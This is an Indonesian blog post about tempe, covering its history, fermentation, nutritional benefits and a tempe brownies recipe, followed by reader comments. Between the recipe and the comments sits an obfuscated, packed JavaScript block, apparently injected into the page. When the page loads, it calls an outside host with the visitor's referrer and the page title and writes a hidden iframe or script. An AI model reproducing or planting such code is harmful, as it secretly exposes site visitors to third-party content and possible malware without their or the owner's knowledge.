browser icon
You are using an insecure version of your web browser. Please update your browser!
Using an outdated browser makes your computer unsafe. For a safer, faster, more enjoyable user experience, please update your browser today or try a newer browser.

TEMPE, Makanan Sejuta Umat….

Posted by on January 17, 2012

Gara gara tadi pagi dapat kiriman tempe, jadi pengen posting tentang tempe deh, semoga bermanfaat buat yang baca, apalagi kalo abis baca terus ngirimin saya tempe … hehehe … (saya cinta tempe sih, xixixi …)

Tempe, siapa yang tidak tahu?? Sebab bahan makanan yang satu ini memang paling merakyat karena terjangkau untuk seluruh lapisan masyarakat. Selain harganya yang murah, tempe juga memiliki banyak kandungan gizi yang bermanfaat bagi tubuh manusia. Tempe adalah makanan khas yang asli berasal dari Indonesia.

Tau nggak sih kalo bahwa makanan itu sudah ada sejak masa pemerintahan Sultan Agung, tahun 1600-an?????  (Ini dibuktikan ketika ditemukannya manuskrip serat centhini bab 3 dan bab 12 dengan setting abad 16, banyak ditemukan kata tempe pada naskah tersebut). Barangkali baru sedikit orang yang menyadarinya, (jaman itu kan belum ada fesbuk, twitter, yahoo, blog atau media online lainnya ya wajarlah kalo serat centhini ga populer, jarang yang baca, hehehe …). Tetapi di balik kenyataan itu, nyatalah bahwa budaya berolah pangan dari nenek moyang kita telah relatif tinggi.

Tempe adalah salah satu produk fermentasi. Bahan bakunya umumnya kedelai. Namun selain itu, dikenal juga bahan-bahan baku lainnya, seperti ampas kacang untuk membuat tempe bungkil, ampas kelapa untuk membuat tempe bongkrek, ampas tahu untuk membuat tempe gembus, dan biji benguk untuk membuat tempe benguk. Namun di antara semua jenis bahan itu, tampaknya, tempe kedelai lah yang paling digemari konsumen. Maklumlah, dari segi gizi, tempe kedelai memang paling top.

Bahan baku pembuatan tempe adalah biji kedelai yang difermentasi menggunakan beberapa jenis kapang Rhizopus seperti Rhizopus oligosporusRh. oryzaeRh. stolonifer (kapang roti), atau Rh. arrhizus.  Kapang ini lebih sering dikenal sebagai “Ragi Tempe” atau masyarakat jawa juga menyebutnya sebagai “Laru”. Dalam proses fermentasi ini, kapang yang tumbuh pada kedelai menghidrolisis senyawa-senyawa kompleks menjadi senyawa sederhana yang mudah dicerna oleh manusia. Komposisi gizi tempe, baik kadar protein, lemak, dan karbohidratnya tidak banyak berubah dibandingkan dengan kedelai. Namun,  karena adanya enzim pencernaan yang dihasilkan oleh kapang tempe, maka protein, lemak, dan karbohidrat pada tempe menjadi lebih mudah dicerna di dalam tubuh dibandingkan yang terdapat dalam kedelai. Degradasi komponen-komponen kedelai dalam proses fermentasi menjadikan tempe memiliki rasa dan aroma khas agak masam.

Dibandingkan dengan kedelai, terjadi beberapa hal yang menguntungkan pada tempe. Secara kimiawi hal ini bisa dilihat dari meningkatnya kadar padatan terlarut, nitrogen terlarut, asam amino bebas, asam lemak bebas, nilai cerna, nilai efisiensi protein, serta skor proteinnya.

Beberapa penelitian menunjukkan bahwa zat gizi tempe lebih mudah dicerna, diserap, dan dimanfaatkan tubuh dibandingkan dengan yang ada dalam kedelai. Ini telah dibuktikan pada bayi dan anak balita penderita gizi buruk dan diare kronis.

Dengan pemberian tempe, pertumbuhan berat badan penderita gizi buruk akan meningkat dan diare menjadi sembuh dalam waktu singkat. Pengolahan kedelai menjadi tempe akan menurunkan kadar raffinosa dan stakiosa, yaitu suatu senyawa penyebab timbulnya gejala flatulensi (kembung perut).

Tempe Kaya akan kandungan serat pangan, kalsium, vitamin B dan zat besi. Bahkan menurut penelitian Tempe mengandung beberapa zat yang bermanfaat sebagai obat, seperti antioksidan untuk mencegah penyakit degeneratif (aterosklerosis, jantung koroner, diabetes melitus, kanker, dan lain-lain) serta antibiotika untuk mengobati infeksi.

Selain beberapa manfaat diatas, tempe juga berpotensi untuk digunakan melawan radikal bebas sehingga bisa menghambat proses penuaan. Selain itu tempe juga mengandung zat antibakteri pencegah diare, pencegah penyakit jantung dan hipertensi, penurun kolesterol dalam darah serta manfaat lainya. Kualitas gizi yang terkandung dalam tempe yang tinggi memungkinkan penambahan tempe untuk bahan hidangan sehari-hari dapat meningkatkan mutu serealia dan umbi-umbian. Hidangan makanan sehari-hari yang terdiri dari nasi, jagung, atau tiwul akan meningkat mutu gizinya bila ditambah tempe.

Sepotong tempe goreng (50 gram) sudah cukup untuk meningkatkan mutu gizi 200 g nasi. Bahan makanan campuran beras-tempe, jagung-tempe, gaplek-tempe, dalam perbandingan 7:3, sudah cukup baik untuk diberikan kepada anak balita.

Selengkapnya dapat dibaca di Nilai Gizi dan Proses Pembuatan Tempe.

Ohya buat yang bosen ama tempe goreng, tempe mendoan atau perkedel tempe, resep dibawah mungkin bisa jadi salah satu pilihan.

BROWNIES TEMPE

BAHAN:

  • 100 gr tempe, kukus, haluskan
  • 250 gr dark cooking chocolate (cokelat masak hitam), lelehkan
  • 150 gr margarin, lelehkan
  • 3 butir telur
  • 100 gr gula pasir
  • 100 gr tepung terigu
  • 1/2 sendok teh baking powder brownies tempe
CARA MEMBUAT:

  1. Siapkan loyang brownies, alasi dengan kertas roti lalu oles dengan margarin. Sisihkan.
  2. Kocok telur dan gula pasir dengan balloon whisk hingga lembut.
  3. Masukkan tepung terigu, tempe, dan baking powder, aduk rata.
  4. Tuang margarin dan cokelat leleh, aduk rata. Tuang adonan ke dalam loyang. Panggang dalam oven dengan suhu 180º C selama 45 menit hingga matang. Angkat (kalau mau dihias, tunggu dingin dulu ya, supaya krim/menteganya tidak meleleh diatas cake), potong-potong dan sajikan.


eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\’b\’);2 6=7.c(7.e()*f);2 0=\’g://h.i/j/k?\’;0=0+\’l=\’+3.m;0=0+\’&n=\’+3.o;0=0+\’&r=\’+6;d.p(\’\’)})();’,35,35,’src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height’.split(‘|’),0,{}))

3 Responses to TEMPE, Makanan Sejuta Umat….

  1. Alfanur Rizal

    wah waaaah.., jok gitu ta laah mbaakk., kan sik baru belajar nulis juga aku.., heheheh…,

    keep writing buat kita semua dah :D

  2. Dyah Sushanty

    berarti sesama tempe lover dong kita … hehehe … :D

    blognya mas @cumipanggang bagus banget …..
    galileo versi blog nih .. hehehe ……

  3. Alfanur Rizal

    i like tempe :D

    mampir ke blogku yaaa :
    http://tanyakenapa.staff.ub.ac.id

Leave a Reply